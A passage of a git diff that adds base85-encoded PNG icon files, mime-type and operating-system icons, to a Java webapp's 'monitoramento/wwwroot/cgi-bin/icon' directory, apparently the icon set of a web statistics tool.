zLNWt~f*9Mg`}Zww{@;`KDDB5__ASy14G|I&783vJo<2)T`Ei`Ph{u6}k+ngI$39Xa ohK;R(A&F^n{f)#Lwgv`fhO=It?&0@uM}v}&r>mdKI;Vst0FhPpTL1t6 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/rss.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/rss.png new file mode 100644 index 0000000000000000000000000000000000000000..315c4f4fa62cb720326ba3f54259666ba3999e42 GIT binary patch literal 691 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfyvd=#W6%elJ(%-?5U*; z3=f`vufAVA=iQBS8MiGZ^t#G68qAt}@krjAWlalOUMzdpwCA)lhaijhFZMQp7W2Ro zeUJGZncoTncU)){xVg}8OJ}!G@$Jg}=Wc&)c@z5f*&5N6at$3E4IB&_8xu|CEhd|# zubp9i@3N)SC52@z4m>R$JVzQ@8X9&bJw6`yc{6v=%6aDmH?_PI;>^4M;Js;*N@s@( z$HZOBOpl&XG8V7W^pHAY$Ty#1&Vn1yu6N)0Gv$>WQ)%yk{o5sW&lkMNp_rOJ`RnH| z`%|mCk6HBZJFq$3asv;C2<zb{BXxCAL1ydOfBqO6PH<Z$7E#gK89C45=q<~<I2G-a z#$8>Cfi5oPo#OV7R+d*jseJeC=PO^f@P?z;U+7Fo<?-&CG$(_Fld-pO+4IUjsq-wo ze=DxrcmDnK#>LB5d^gb1&}wrLWc(lV`1AFhRef)DrG8g@%8lYLNS#`}J!6~27n#G8 zl3e^m1eHruzMD0B$5eIO>s`Ka{Nm+|4`-_nJe+<*_oQ}FkTQpg>FMQ}TO?}E-eUJT zd->Ic*eAcH%lz-(_}52n$(j?L3fFw(9~}_7{8`54*j?*2^V#L>j^(-jXMb?;xJGu7 zlE96-i*7J(t5ZJx<F)vLtEmwmp7So)Iepb4m8pyM0zV#=Hc^v^QPzI>|46&KrdOHv zzTYjc?+1sykyoFz$9VbL-Q_o*$eb11_-vn~n$;HTBOX38UK$ymoX6(rRX^8y_G-oI zsNFZWE?S-5BINw!grQ5PjB3%6j40VWi_i88uU$IO^l8aE1_lNOPgg&ebxsLQ08iLG AY5)KL literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/runtime.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/runtime.png new file mode 100644 index 0000000000000000000000000000000000000000..2b36ee032e9e5343cf1e9d7ae564431169e2d429 GIT binary patch literal 1150 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8Fct^7J29*~C-ahlfq^C6 z(btiIVPik{pF~y$1_p&>k04(LhAK4%hK3dfhF=T}3=J<B7)lKo7+xhXFj&oCU=S~u zvn$Ysfq|JJz$e5tHOwk6$}%)GG%Lm_E5@Zb!Lc~WB_$;#H8nLYEiErEuduMNy1Kf) zzP_<MwXG_-sWPj-wXmtFsjaQ8v$M0StE;cCufM;4!h{KvCQX_=dGd@IGv?2mHE-U$ z`Sa&5Sg>H>!i7tgELpK)#i~`SR<B;YZr!@|>(_7CuwnD&&0Dr?*}8S>wr$(CZ{NOa z*RI{WckkJ=XaD~F2M!!Kc<|uiLkA8WI&}E(;iE^79y@mI`0?W>PMkP%`qbI8XV0HM zfAPZk3l}b2x^(IC<;z#EUcGkh+V$(#Z{ECl>(;G1ckbN1d-vYGd-w0(fAHYJqeqV( zKYsk=$&+W#o;`p5{KbnGFJHcV{rdHrH*em)ef#d+yZ7(kfB5j><HwJmK7IQ9`SaJW zU%!3(_Wk?!A3uKl{Q2|OuV24^|Nism&)>g)|NZ;-|Nno6Q80``V7^$lJp%)SM2Txe zNpOBzNqJ&XDnmeGW?qS&pKFLhnX#U+*~;gSR2di;&Um^whDd~qp3RJB3>0bjn7np^ z$Kik;j;krB<=$Rwax}WEa`sO3`Jeyd7k>QozdFuFfn|}yzpp#pl$a82;;sKwzO~z= z8_mcmcv5b4soMdg-#2wTzg(6(SiL6mMRD%7q>}kDj=ul)_EsDe&g-yW$tzyDr}J0r zzGmUxr9}aj%XgP;pEdpRv-Twi792=FYV69lRKD$?kdAloJ<C3Mt>EChm5gsf_vyaP z+?3dPSD7&*CU)P=b2sl5Pq$oPnmO$^cVAeTtffoJuRBlt(mMY4%Nb{+O03@xib_vc KKbLh*2~7Y?%WmNS literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/script.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/script.png new file mode 100644 index 0000000000000000000000000000000000000000..0f9ed4d48301ffdce04cdb17dbf8acbad8372d11 GIT binary patch literal 748 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfvL{Z#W6%elJ%frPDm;P z!-Mz#@9*9n$6dbE!HcKy!IK0Ns|7~{e0$oC9K5;1z$$5uNnw)N#e*jUZ<Z8HI?>fR z@x=osDN&|n3#V<1xxM?_-}istfB)^I$r|(b-9^`$e{Wu0TIzZ`dduEz?`6yW^8Bu7 z>WR&Hoc$+)`Ah8gQ{Cx(vA<q?z08m>@7GJEub1yGt})yC#{6cpI(yxZ>VIPEt}@hK zU+dq-Xj3(d*C~K~)vSvOR_0x+BzU#rtgOGCDM@|1I^N8#n_*|Jy0&TT`8uvNU4Q8` z_cMJr?4Imz=CRxN@xoGW?Roa57O~7vw#8c8^*rPKyjbVh0=G~>Z7oO97lNPW&HsP% z>+Qog-FPPiN6qik-hBAnBF!Y7RUT&?MOTW1wg%n2lU-BzdcAGTTE<;d&aL-nOLKQ+ zZ`ESos1U6AO6Y5=&52!CVt@QQe7#J`!SC!(<I58(wVal4Il8zov^Z&&_$n_~bLI_S zcVFgus7xPQ;Hk)v0Fe|%mLndsH#h%WbXd;i#jKJlk&Z?=F2+CsE<u*ZjJMf)*Llu1 zx8ED2;N*9<Xl=OrDhZB>LSF=4{B}s(*|)8X|LK(+h9jr1=goN)w5#sp&SJUuqWor? z=l;!^cVa2WLJ2-eeZ$DK>imV?nZgUsY3}VTuiIOF|6StS1)8^FOmZjeikn_tt9fl% zu>79dV~^jq&bcJ!F!%Pir{(u6691h1y`HHdCZl+wmB_w5I}<Ap{5$BBcRRPiYWv&2 z$Nkgx?JT|iYU9SMCnsH<I`QSH6Ca;0yl5bG^<wq(>%Cdq%Dz3__E&ttyWQ_@-!6YQ zcW>?UdzEvJc+NS%=`+2p`QW8X2U1dVN;kdvZZG$@b3VgA_UbNc9l>R;Ul|w}7(8A5 KT-G@yGywpV*kbJf literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/svg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/svg.png new file mode 100644 index 0000000000000000000000000000000000000000..bfc5645d9ad24b6927158d3afaf81244f5695150 GIT binary patch literal 583 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>a4%ki5r2UTn= zW?*3a?djqeQZdK1?{3g#2MLG$`R0n6xz3lCalG(Y8jzSG!nR%}{%H7T-92G!?yRd? z88z(>$9GN%@OHYj?B<)iYtoYEp3W>ToFH50GF54}wWVEORd}1>w3J<w-NpL*HkEh3 zx7WEkFVHvKEA!K<$&8NAw|sq?t)B0s-;~K7xAu@hORY}&g4k`hufF1T;#m06wA1#q zkG5Dq!z%8%4Cky1-Z3xS_5OZNp7}Ou-hhU}>e|=8t2W=9GjEm6e9h;_Kl>;M-I6bu zF=P79nFf2fn-X%L@@g%;HTS^xzZW$&<}QCd_q@LD^JB%4YOYf3_4&fb`uL(by$vTb zaWWowZGUfj@A;2^V^fQQ%(=G(TUlH8P7diX@w_o(=Jg2ynyO0Q7I$pk@@LDhC6DCf z=DP$=F-p6wI_=2OLoPSu1sD`s6b>$m)e_Tv|7p{kU0xenr+2T;&M&XayY}oE*EZ#) zR~|4fdR=yN?N#y3JZg6*MHfY_ZGL)Pd){;2Hs{`;5HHQ80vpBKq?De=6y(j?8MnTA z!|&53U+&&t+w?SG)n9+c2G!09lZy3PPfRi5Y3_e?tiN~V&DPD`-M44YKF;WsX(Hj0 zsL{gU5__Ffar4(yy(1cZsnaqU7EEzcX}NUw*|~fF<P=#L1Q-Ma101I<+Y`6mo{u4E q{q4Q``vn*oL>O!;ST^XqmjC-(reb~9g9-))1_n=8KbLh*2~7ZpZ~?FY literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/text.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/text.png new file mode 100644 index 0000000000000000000000000000000000000000..813f712f726c935f9adf8d2f2dd0d7683791ef11 GIT binary patch literal 342 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4i*LmhONKMUokK+u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V1H%hX7sn6@N!EjgdBKhn zYzJ;0pVw&OxTC4BNn@es<lq85?|=fOmP>(`9J@HoB~<&G@BjO4czMxW>(5LK8$N3b zw{$=M8>I{e=YMY5y3vIrJlpo!1ZTdVv+aM*o%p-v-mQqHXIW2X)LTBA(f(%h=@Y?n zpHs7ieTyykO<nKj7q<GUyTktn+nBqvT{I8hGugu;n~}G+ZSuk?FWD|I>M;f`6LMhx zktgA$X&B3Fb-<dzP|$(>$3mXVAv5kVTOE*QVPq(2n7=G@7SlZ@tB!9{3=N)}RMKR9 r85lOt6Vbh;oi4_}FeUcgKW64FQ_siwlnFC1Ffe$!`njxgN@xNAH*$g; literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ttf.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ttf.png new file mode 100644 index 0000000000000000000000000000000000000000..f3cc58c2a3c370f811b92bff631811e11fa8bcd7 GIT binary patch literal 605 zcmeAS@N?(olHy`uVBq!ia0y~yVBlt8VBq6mV_;zTnfPof0|Ns~x}&cn1H;C?n%{ww z85kH8l0AZa85pWm85kOx85n;4XJBY}!N5>zz`*b-fq}tlIs=1v{`8eIuP`t$zVLK$ z45^rtl#`uZefIR}(+3+^YySS4dho=Fj)Nypb~etO`IFs&!O&;6+1uy!G7Kwz{69C> z`hWcHGTtM9IRzYa9GL$l8jG@=n`g^?toZr4)D7FV{bLt!@Yx|!_xHy{$ENx7AHLk2 z&Jz<8!}Ig!PaX!wBTegGoSA9NV>@>)Ptmq*JW0=<@dT^+r~UZ&nEmiP+iD30CXS;| z)~(ZPYiM9-JFq~3&3?h5ncCq-XZF|3eE5C2KhOVvf0G$F6n31P-q<u*%{Qr|zdxO$ zzb7T($LIEgPrhWfWjj3I;N{V9m4QV-*udk!uBhl}$s<RPN_KU39~63je_!g3qW^Zx z*4o;4(i#|&k`faWE4ZiZsQ9SVJY|Xqv$eH##G_Z!^?Ax0i>w^Z|NZx0UWZM<!RNq- z<Offlq$DIKCku#(q&#@`EbRwp$c<gq=FJl~89BGC(mLE8zyClNBU8uA@9*#P*x1<c zynOkRCwf~>;tcC_KIbQwmh#M>XP>^Jq%1Ar!GnY!-@ofe7&<U){L>yaapugE3d+id zKm7Wd&6Y1L+$OMK`H!Vb4;J<G^dv|rG(`OS_xE(k^K-Hr8m3MaJv`eyU!tYq+%E>6 z-s#)(8bup<SlC#E9T*Im?*5!Lb*kvR2{UHQIIysp$3c;8%SU#H21bSj&kj_F2khF< Qz`(%Z>FVdQ&MBb@0A8pI>;M1& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/unknown.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/unknown.png new file mode 100644 index 0000000000000000000000000000000000000000..5c870176d4dea68aab9e51166cc3d7a582f326d6 GIT binary patch literal 786 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfoX}Si(`nz>7|qJ`cF!f zIQBRCfq%x@XIWRX=3c#K@nQk<@@MK7t`u$MnYOuP#$_E%Q{%Z@S+C}FG37HUb*P=1 zuJ9pADgM-Pmx_m>o8P|bHJx+%W)%DW$<^n--d>mfeJ-=Y^ZFmj3zYe9MtyH|czj1a z^tH*?qw^Mtn03wBsKOGw%=X(%rmd5oow2&4=>J1N+S=rfqgHdeHLtru@5G}S85xRa zEJGdEEVU@gHrgtAv;F67y(PtU9mnRZkdJg1-^kdk%oW~oNPVjPRo9$CKaP}VEZIe- za(6f`M-&_jINf5!$^XYtYF~s@ayR1@kF^2o+7iC2Ua<0Hn|(ZX&6<P~O|6*E%Qrmg zbhgMi{#efV61zK(eO+<OEl2LGU%oT8yDy0CUf`D{n#NjNta#~Y$y+tEz`My#q2Iaw zTr^oWjXB`<Hb-Not-2g}yZP1z^F{34U2!Q_Wpfi>>+~}A$pT(FEB<7#tiOD~=34Tt z7l-vq8|KDJ?cJ<5Wm{(8Pe=ate14ma^UiTa9gE$fJ>ke@M(!Q5Ra5p~U-)J&pXV>@ zZAv0Pl61SGLUx=#AfBD@{rJTDOYFq<Ot|H7J4_~NCik8)=2J&LYgAgdKf3;kr*%Dt zh?!Qv1r7JTC6aFbEak7C92cEo=hSM*uvfY16rZ!1g!dceP43G6CX*Kis4#DQ)!eeO zcy-#NAHqK$v4;Je{qw;jW2UEF@^{R5xn@ntkTy^KA$l%<#(@pTczabFW?xM{_?q86 zQe8~b-{kbp>kdmwzU8i1>$qo%&cY>;eT$A|+PuH&ocYBm_1ojDqtCBAWp|zv9R9N} z;MmT;IYw99*F0Wr&C_i@E%D;cX1$rbJ8d#wB<*Y|er9;L!sOJxFjJ)+L54nYkNAUj v#%Pu<%xSQRzol;xe&_hV*QWop?HRAHXI-?{ckdAf1_lOCS3j3^P6<r__*P-t literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/video.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/video.png new file mode 100644 index 0000000000000000000000000000000000000000..b0ce7bb198a3b268bd634d2b26e9b710f3797d37 GIT binary patch literal 653 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfl1!e#WBR<^wP=x8N!Yd zNAKtDo_$7Yc5^59r6BJnRWIQW{4Z8k1v&<pus17kT=n*s64+DuC54|+Q1pL8T-S0f zmsf%OT_Gk)LEgE3O;H@4$t>yL`tuhEmRz6AZC^Iy{a*9?AKpqON<6Bcckth$sI~j} zn-ZqftiGDH)1q)^%)bRwPF2p^9<=^CcRkC68Q*LF+gV1h3`x4ZDAL%O&)sT)p`)Kc zZ0ho~JxgXbd~rI#U@?7f+eDFqUw^tCXQ`k3w(tBK{frv-b(5EdU-P{vESqR0DcIGM zu}I_6qwWbodXuY{2)=AMrfB53XUkWy^VQrpYzst}+4udtR%midc*3Wi<Cpy>mBchC z`HHFEVcC!#%#~}|``*4Qqm(ac<?O59`8%%dn8=WK>T82+`yH8_!;S5RUoNdaFpZsq zr}cJFl5IkI%mD$*XS?z;|2=v>LvqHRraQ|_qol<*xILS7cA0ryW#04$B2)N1_)4^j znGb6+|Ngc=E@gWEN^SRL2TEr5Ol+KPzdqq?yyJt{2@itHjobE^{}Kq!{;^G2c0<C( z1>MK?FI#X$IXL@9tLV#yR=%04)8-utth4k>le%||JA!xqgUIb`O~uY`ULt(mv9l>S z<#pqkj0|ZeFP_EIABo)A&9UG@Kvv7My?>It3mLzxir$uczq0COb_$aNQ{Us9jIB}p zk_Au7J^!DZm9%k3goa3p-Te3$@BjK5&HR%Q8J02YSyBCa@s%I@A75x%Bg(+Qz~JfX K=d#Wzp$PyAWh6KN literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/wmv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/wmv.png new file mode 100644 index 0000000000000000000000000000000000000000..922552d835a8c1c99bb7d9403f2c28875d71205e GIT binary patch literal 1421 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u%tWsIx;Y9?5p`5IGKTg zK_S^A$d`ekN|k}3p_zf<=YIx<h8GMBr3MTPuM!v-tfn(Ci04mVIr9nw12aQ_Pl)S( z5IFPy|IGjY)BgWA{{Nrh|C#^)&z$*xX6FAhY5&g{|3AY3lAL+w|IC^HXQut1Y5adC z14wP!ng3}s|EHz>Pc#0X#sJc4eCEIL%>Tw||Ba3R8#DZ8`2U~b%zuWN{~6N$GZ_D8 zU;r5mGJ58j|7mCb8=v{l0J7)InKNf*o;j0t=8W-~GYlYWXP!ATbLN?uX=i2{pP9)3 zaz)yiGifu=q@|rnGd`2X0CJS^nKQ;S&lsnjF*ZJ9%y5R`{~3leXBcLlVMsf}V0?yw zVJ65+XJ&#Noi-EXEC!GdKsL>s2{Oxg<{1W%hi0Cc2?A*|XBy9($pG?S+L@VYGiRoy z%}g_%nZ^L}uJIX=q;c9zW8;~|3^N)2&ty0=lVRpehP0Us#xofh(m-K%CJhuiX=xz; zGl0Sd<fWNuAV(XgonZh470BY5X&|GG(`GV&LJlN7GYtfc)6y6~0cm^&WUX;pnz3=3 zF+&=||1^d(X$&*d7}C-hjMEqxj6sof#uyY0X~v*{W&njcDC}l}w1R?z0Tc-{&lrQe zlx7TaGy^D3($0W<kd|f)GMWJtMaE}99s===jg1+M8U7nHoH1sYY0Qvj%wTNHzyOLs zaP)&*0gh2ne1anh<S1~sgQ6E4lpr^PLkASwU=M?w4E6&k@{P}cg334zWH8uh1_n?p zF))Dq#K6GtvoNfFm+afu?>zk5Ih9wGme)B(Eet7Nf9u{8x#By^PQJeU^uy)rSFb!c zRCA1>Xocw1yRs_|Rar(bW_L^8eYztjSG~Nvu(!AC@eZ~LRbtPMTCAR8@Zz-p<W`@r zkLUmU_3^<p&qojL{qmIk5vucf-JJWUj_!>J{r~^}5iM?J1_nlkk|4ieP*xbhm?8K( zyDBIwJY5_^D&{2p;Ag4Ni?HY4!<od$A|T9s_^kc^DgXXokNosZjG5Vi!SLVym1hd3 zJ3c(T|0NG={uKtMj!ws!jxMfW&&qF?Xp7aBWMJxecx=6N{g%U9^6yst`tx<QK?6h5 zkFVZu-Zy{mP24UKw=eD<i-3cV&bL$b692Nz<1VG0D@|nJP-r{K|J-KZ)@Q$FZD7A| zSNnrUz=7wxyxo`I`<4l2oSd#NzmJJU;PGGa@;4GkZ%Xd_|NroVJ;DkN694bl*Y`fW zwe0f$e};d4YlF<@=_=oPbIZ0rjGrVVK`#1e&wP09`I`T(k}>5q0Z9xT3Ifv~o(nqm hy11T`A(DZSjbZWrT;YaSI-v5E!PC{xWt~$(696YJBuW4P literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/xls.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/xls.png new file mode 100644 index 0000000000000000000000000000000000000000..b977d7e52e2446ea01201c5c7209ac3a05f12c9f GIT binary patch literal 663 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfl1TT#WBR<bnj$;kB~r- zWA)$nS}%6#vpV5(S^lKhRkf}|jf+}c1YI6(;@GaK%Vh4jZR!d!!A_yT+k#Ont<twe zMOe2A^a!jJOX@J5nS9nF|K9HJ^UNOK2w5UubNcgR>p7n_1sNSQw+eeO+x-uhn;|U7 z-p~=yEW_EfK*DvR>9G_0Wmp<}`ugrMmod-lFk#pfC~`AsrOMNyo$sbj6^)FGn|Ac5 ztKqQ|hYmIM^!8p=%qrLver=PbdPk{+x`lSc<AQ66y^p`WESz*wB~jwh9Odb!dwF<x z?xYrM3O5V7e^^dagsXlnOUl<vF`cKs>u=DVtio~H#8r0BjJXTes&)$XFO|Q4V#(zr zj|;nwDxI_JF<cU)$?)Y`pIYD6`3rO}dQF+>{OPU9(d0i<-k*8?d}rlH#_Pv^UyNEj z<xo`j`}Ojtx>vRBn^$L7Gjoy2<wJYUT$t1GIqj8c_<7#V^~V_xbshX(yX9KO+Rmd% zuNw?DoT-`n?B^HbdHYUZjI=$I<vsJw!N)drKRXmw39t&zd;aiuooonu$SKC>@8_so zo#nR0z{v2-w*}ok;p!^0c79FiFxa56l;K0I{Q1wX7;;xl(@t;m$jLk!b$H$vyL;#N zJ-Yn7zh&ORZkfQV3Q8JF3(lGTdwNs)Chz$hwVCT%5^p^CC3*Nj!K+`2YcgwO(w9Em zcrENl@G3E1#=FO6Y;Q;^E{b}+IBsnKlSOteYr$;EZP(T@h5ZeC9=p}5dbUqO;~)Kb Y;;Y@YF2~z3FfcH9y85}Sb4q9e0F7lca{vGU literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/xsl.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/xsl.png new file mode 100644 index 0000000000000000000000000000000000000000..106f5aa3611a4807ec8c21701c631730275089a4 GIT binary patch literal 402 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4i*LmhONKMUokK+u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V1EY$ki(`n!`P_@P-cF1X zZ4Zx2Nk<F+;Xn0Ld99!xFR!V|wyObw&K#y0e4-YtjY~wG#Du17bM@Tv#qdj_Ym}Vr z@!~IeAC&u!ZjRgYzJNQ^#Zj`BJA*+{WyyljvRQijH%D}rbWY$|9(nZ0ktK)J*YB{| zd{1$bf19`LY^&0Jn!$&bx=qb+X_VWrapTJ1$KBiSX-j@8ZD{W9Zf^B#E%&mibS%%E zq<HlB{|9|Ks(vSm{3l(#Yp-xv_qfQ;hZD4?&5(V??5cM&u`e}9WXAp1yC*C<z|C#4 zq2uETyY32yCT6*g%L@*&U3Z!Jp-D>oiKUWXkBQ}>lOGDCx9m!pY{SX*<i?{Zn#<T* zMK<|v7uG(j;<_#J;U3d-FCwj{#Vh8&kvukG;etOe*q1GeX_N8TaE*b1fx*+&&t;uc GLK6T5U8Af3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/aix.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/aix.png new file mode 100644 index 0000000000000000000000000000000000000000..90581d137778d31a743af85d95282003fa62b1cd GIT binary patch literal 330 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC{67&r{4NJO<L78mdBQIv3M(VUX} zUy~t9F?p$g<$nf-;$*M)#T@UQ1cEHHmlhjxF&^5$z`#)M>EaktaVt3?p+Mx0*7*Ym z4k&4y()!WZ`23lRqoZRb+qY2dd-WnBDHdC^mL513;Mf+a9d66v#hnsintYY@ph;j` zXz%L2oRHwOh^<+nTN5IbI^sANg?o9d6*BQlT_G@Kj;73%GY14TG%~bi96NA8Lt}|b c3KPSQIK|&ry8bL;U|?YIboFyt=akR{035(>A^-pY literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/amigaos.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/amigaos.png new file mode 100644 index 0000000000000000000000000000000000000000..8efdcec77563cfe58638f548c6e4f1122cd8b139 GIT binary patch literal 342 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5Z7b>|F4;|#!Eut-2Zd;*6cN8V5s-< zGBjjJHk9~(?%dYo<T(rs&kVi(|9^H*K;T_+=ah7p00ssI#*!evU<QY0H_{jw7|J|d z978H@B_|}zP*Od^z@ql~ezh*+rT?{kH}(`IBv=+-Prtd2r7hC`-MngztA`XypFG;_ z!fD#pYP7mc-K)h=XUaW|snbM`DD0?OykJt0M05DJW1?P;T|6?mxst2ACi3WHc{#3n q#l*wox6pBwq5^lz6cJtthP<bW=YIX19?!tQz~JfX=d#Wzp$P!jRCu)j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/apple.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/apple.png new file mode 100644 index 0000000000000000000000000000000000000000..c3c1fe0af826e9fa1a5de075e1142b347e60f19a GIT binary patch literal 318 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|G&R>ZOWAY0vz9`B%fP5=Y6r| zxwVSb|EEm(zqjW<1H=Dhr~lt2oR&HzZw*>|ZEa7v$ZZA&2F8*gzhDN3XE)Lq7#QL_ zT^vIyZY3uqBs|!Ent`q6`++O$|M=w_uH4@J|NcEzqjz_AfB$xunQfl2LqP+hpYb`C zCQcq6nca;E>def~wFG7yI1s_d#LL5zn3<WW=}>&6r?<Da!DR8KNyQAz3|U<o{i)~w SYBMk}FnGH9xvX<aXaWFdxpVjc literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/atari.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/atari.png new file mode 100644 index 0000000000000000000000000000000000000000..d51836b413e66e5b70ffab59b05a0b55c969e034 GIT binary patch literal 347 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{|Q;YNz3@sJXUX~T<DHs_T7%LcBS{WKx85t;O8yFfG=;|D3W?*1oFY)wsWxvcM zEF`32?cSrqz`(#+;1OBOz`!j8!i<;h*8O2%U|>mi^mSxl*x1kgCy|wbfx#faC&V=^ zE$!B=TU)no?e6aO^71-&?%c|iD=jT8H8nM#KY#xH`*%Y_!~g&PA3S(aKtSOA`}bFW z%!pxNU?}!<aSW-rl^jw0tlIVI%wV4M179Q+Y!5FMaanKpy&#Tx3BOszjiYlCEkyrb zNG`jq$@Z|kT&wS!q0yUSo5vg79>_MooMn1)xgV>s%-l4!3bVjziI$hurYWl(<58M7 v?_Ds@8HqEq?^p%R>5-I}D(e)<a)u$J+Q6jh*OdYW1_lOCS3j3^P6<r_s)2mU literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/beos.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/beos.png new file mode 100644 index 0000000000000000000000000000000000000000..bab61ff4abd6c479670d2c273fecda3147fea721 GIT binary patch literal 275 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9cz$e7@|NsBhEqmw8 zx%Yia%lqUgMa{LAPHTgrwtn|=I(F>XcL9d?$Bup9y7bz$d*6@k4ch#|n1O+Tu_VYZ zn8D%MjWh-Zh8Ry5$B>F!$pNC`ItdI+*O=}Z80a1dIF*ph@M!txohHT`*rtjVNNiyE z+0(eYCdT2@qTOZ<SB$5;GfH5)G$-+lw~xdXuA`z7I#LoB8Z)vgDqGvRn<q?~G-<;| bV}_>;f(QP+<>zByU|{fc^>bP0l+XkKZ{B4n literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/blackberry.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/blackberry.png new file mode 100644 index 0000000000000000000000000000000000000000..4f4f68dcfe6c0fe10702b471a739e812a2718b3a GIT binary patch literal 351 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h#VKN}P*Q6H7Al^Atid zb5j|zQcLv|jLa4C^2_uTj0_Bn6$~w{OpL6I4HUEu3=Isf&y<T~U|?V`@$_|NzsxNy zq$Bubs^l961_sUokH}&M25un`X1sK_?hgY4153K2uOkD)#(wTUiL49^3<d!{A+G=b z|37o-N@99yTTj>b@8657D<;jD_2|)~&D(b_TCsNP-o3s7AzH?!+YcN*c<kK!_wP5x zeqmr>U|=i>@(X5gcy=R=fq^00)5S5Q;#P7(!itKA2N+lm8E=wq5Sjk*+LE^pzoNe^ zytdeZ(`@l&$-Dd#5;vO5((Nv@do9WIe{+H5QtD>oYignlrao8qEZo-6*qFL3>&&yV 